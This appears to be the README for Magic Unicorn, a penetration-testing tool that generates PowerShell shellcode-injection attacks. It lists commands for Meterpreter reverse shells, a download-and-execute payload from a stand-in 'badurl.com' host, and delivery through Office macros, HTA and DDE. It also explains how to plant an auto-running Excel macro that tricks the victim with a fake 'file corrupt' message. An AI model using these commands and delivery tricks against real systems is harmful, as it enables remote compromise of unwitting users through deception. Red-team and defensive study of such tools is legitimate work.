
Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com
Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute.
Note that you will need to have a listener enabled in order to capture the attack.
For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that.
If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from: Sub Auto_Open()
To: Sub AutoOpen()
The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme.
NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL HAPPEN!
The HTA attack will automatically generate two files, the first the index.html which tells the browser to use Launcher.hta which contains the malicious powershell injection code. All files are exported to the hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit.
A user must click allow and accept when using the HTA attack in order for the powershell injection to work properly.